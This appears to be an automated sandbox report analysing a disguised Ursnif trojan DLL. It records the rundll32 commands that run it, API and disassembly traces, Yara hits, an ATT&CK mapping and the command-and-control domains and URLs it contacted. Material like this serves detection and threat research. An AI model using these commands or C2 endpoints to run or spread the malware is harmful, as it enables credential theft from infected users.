Source: gg_2.gif.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal84.troj.winDLL@18/119@10/2

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0267757F CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_0267757F

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{297C5617-96F7-11EB-90E6-ECF4BB82F7E0}.dat

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user~1\AppData\Local\Temp\~DF9F23A32DA34B18FB.TMP

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\gg_2.gif.dll,StartService

Source: gg_2.gif.dll

ReversingLabs: Detection: 52%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\gg_2.gif.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\gg_2.gif.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\gg_2.gif.dll,StartService
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\gg_2.gif.dll',#1
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6788 CREDAT:17410 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7144 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7144 CREDAT:82952 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:900 CREDAT:17410 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\gg_2.gif.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\gg_2.gif.dll,StartService	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\gg_2.gif.dll',#1	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6788 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7144 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7144 CREDAT:82952 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:900 CREDAT:17410 /prefetch:2	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001745 LoadLibraryA,GetProcAddress,

0_2_10001745

Source: gg_2.gif.dll

Static PE information: section name: .code

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02596194 push eax; mov dword ptr [esp], 00000004h	0_2_025961AF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02596194 push esi; mov dword ptr [esp], 00001000h	0_2_025961B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02596194 push 00000000h; mov dword ptr [esp], ebp	0_2_02596267
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259348F push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	0_2_025934A1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259348F push dword ptr [ebp-0Ch]; mov dword ptr [esp], ecx	0_2_02593632
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259348F push 00000000h; mov dword ptr [esp], edx	0_2_025937FE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259348F push edx; mov dword ptr [esp], 00000002h	0_2_0259384A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259348F push 00000000h; mov dword ptr [esp], ecx	0_2_025938D7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859 push dword ptr [ebp-08h]; mov dword ptr [esp], edi	0_2_025948B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859 push dword ptr [ebp-10h]; mov dword ptr [esp], edx	0_2_0259490D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859 push 00000000h; mov dword ptr [esp], ecx	0_2_02594918
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859 push dword ptr [ebp-10h]; mov dword ptr [esp], edi	0_2_02594990
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859 push dword ptr [ebp-0Ch]; mov dword ptr [esp], ecx	0_2_02594A23
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859 push 00000000h; mov dword ptr [esp], ebp	0_2_02594A2E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859 push ebx; mov dword ptr [esp], 00000001h	0_2_02594AD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_02594BE3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859 push 00000000h; mov dword ptr [esp], edx	0_2_02594C36
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859 push dword ptr [ebp-08h]; mov dword ptr [esp], edi	0_2_02594D62
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859 push 00000000h; mov dword ptr [esp], edx	0_2_02594D67
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859 push 00000000h; mov dword ptr [esp], ecx	0_2_02594D74
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259237B push 00000000h; mov dword ptr [esp], edi	0_2_02592502
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259237B push 00000000h; mov dword ptr [esp], ecx	0_2_02592524
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259237B push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	0_2_0259269D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259237B push dword ptr [ebp-10h]; mov dword ptr [esp], esi	0_2_02592737
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259237B push edi; mov dword ptr [esp], 00000004h	0_2_02592759
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259247B push 00000000h; mov dword ptr [esp], eax	0_2_02592498
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259247B push 00000000h; mov dword ptr [esp], edi	0_2_02592502
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259247B push 00000000h; mov dword ptr [esp], ecx	0_2_02592524
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259247B push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	0_2_0259269D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259247B push dword ptr [ebp-10h]; mov dword ptr [esp], esi	0_2_02592737
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259247B push edi; mov dword ptr [esp], 00000004h	0_2_02592759

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000002.492240511.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.260825998.0000000001060000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.492614087.0000000001330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1330000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.bd0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1060000.1.raw.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000003.334082249.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334133428.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321638626.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321709185.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334122359.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321582588.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321610032.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321662691.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.494742479.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321684389.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.480594234.0000000002F7F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334100411.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321545910.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334161617.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334180863.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.415230609.000000000307D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321698074.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5408, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 3544, type: MEMORY

Source: C:\Windows\System32\loaddll32.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026712D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		0_2_026712D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_034412D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		3_2_034412D4

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001745 LoadLibraryA,GetProcAddress,

0_2_10001745

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02592DF5 or edx, dword ptr fs:[00000030h]	0_2_02592DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D2DF5 or edx, dword ptr fs:[00000030h]	2_2_012D2DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03392DF5 or edx, dword ptr fs:[00000030h]	3_2_03392DF5

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\gg_2.gif.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000000.00000002.492800855.0000000001180000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.494160905.0000000003970000.00000002.00000001.sdmp	Binary or memory string: uProgram Manager
Source: loaddll32.exe, 00000000.00000002.492800855.0000000001180000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.494160905.0000000003970000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.492800855.0000000001180000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.494160905.0000000003970000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.492800855.0000000001180000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.494160905.0000000003970000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0267269C cpuid

0_2_0267269C

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_1000102F GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

0_2_1000102F

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0267269C RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

0_2_0267269C

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001850 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

0_2_10001850

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000002.492240511.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.260825998.0000000001060000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.492614087.0000000001330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1330000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.bd0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1060000.1.raw.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000003.334082249.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334133428.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321638626.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321709185.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334122359.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321582588.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321610032.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321662691.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.494742479.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321684389.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.480594234.0000000002F7F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334100411.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321545910.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334161617.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334180863.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.415230609.000000000307D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321698074.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5408, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 3544, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000002.492240511.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.260825998.0000000001060000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.492614087.0000000001330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1330000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.bd0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1060000.1.raw.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000003.334082249.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334133428.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321638626.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321709185.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334122359.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321582588.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321610032.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321662691.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.494742479.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321684389.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.480594234.0000000002F7F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334100411.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321545910.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334161617.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334180863.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.415230609.000000000307D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321698074.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5408, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 3544, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Path Interception	Process Injection12	Masquerading1	Input Capture1	System Time Discovery1	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Query Registry1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing1	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
gg_2.gif.dll	52%	ReversingLabs	Win32.Trojan.Sdum
gg_2.gif.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.2.rundll32.exe.3440000.3.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
0.2.loaddll32.exe.2670000.2.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
0.2.loaddll32.exe.10000000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
3.2.rundll32.exe.10000000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://urs-world.com	0%	Avira URL Cloud	safe
http://under17.com	0%	Avira URL Cloud	safe
http://urs-world.com/joomla/ych84zDRIp_2FF7IaYN0/GQoKhDOBhANEIsf1GP9/YE&	0%	Avira URL Cloud	safe
http://under17.com/joomla/7oXts9AORFsG5/i189ZNd4/wxa5zyBcqStFNvDeNtF1KxB/E9musqCc5L/b_2FSJrdUWwLXBbJ	0%	Avira URL Cloud	safe
http://under17.com/joomla/YJmZr0WJXI7/eZbfNM7hm_2BBw/atfJcuVF_2B5yHpeRoV9f/p4iYAB3akKupopXr/3YLvELEn	0%	Avira URL Cloud	safe
http://urs-world.com/joomla/ych84zDRIp_2FF7IaYN0/GQoKhDOBhANEIsf1GP9/YEQ6PJZPGUhJ_2BK96Ghup/vPTPDIHk	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
urs-world.com	185.186.244.95	true	true	unknown
under17.com	185.243.114.196	true	true	unknown
login.microsoftonline.com	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.msn.com/de-ch/nachrichten/politik/l	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/news/other/das-grosse-impfen-beginnt-geht-es-nun-endlich-vorw	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/finanzen/top-stories/janet-yellen-us-finanzministerin-fordert-weltweite-mi	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/so-tickt-kosovos-neue-staatspr	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/es-h	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/news/other/abdullah-sollte-von-erdogan-lernen/ar-BB1fktw7?ocid=BingHPC	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/nachrichten/vermischtes/die-altersheime-hat-man-vergessen/ar-BB1fkRPW?ocid	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/das-alles-h	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/nachrichten/vermischtes/nachtleben-in-israel-eine-nacht-wie-fr	msnpopularnow[1].json.13.dr	false		high
http://urs-world.com	loaddll32.exe, 00000000.00000002.492271076.0000000000BFB000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/nachrichten/international/alexej-nawalny-klagt-	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/manfred-weber-nennt-eu-beitritt-der-t	msnpopularnow[1].json.13.dr	false		high
http://under17.com	rundll32.exe, 00000003.00000003.443272606.000000000352B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://urs-world.com/joomla/ych84zDRIp_2FF7IaYN0/GQoKhDOBhANEIsf1GP9/YE&	loaddll32.exe, 00000000.00000002.492271076.0000000000BFB000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/nachrichten/politik/coronakrise-laschet-fordert-harten-br	msnpopularnow[1].json.13.dr	false		high
https://login.microsoftonline.com/error?code=50058	authorize[1].htm.13.dr	false		high
https://www.msn.com/de-ch/news/other/polizei-sucht-mit-superpuma-nach-vermissten-minderj	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/nachrichten/other/karl-lauterbach-der-blitzableiter-der-republik/ar-BB1fiI	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/finanzen/top-stories/staatliche-regulierung-allianz-gegen-big-tech-druck-a	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/fdp-nur-keine-option-von-vornherein-ausschlie	msnpopularnow[1].json.13.dr	false		high
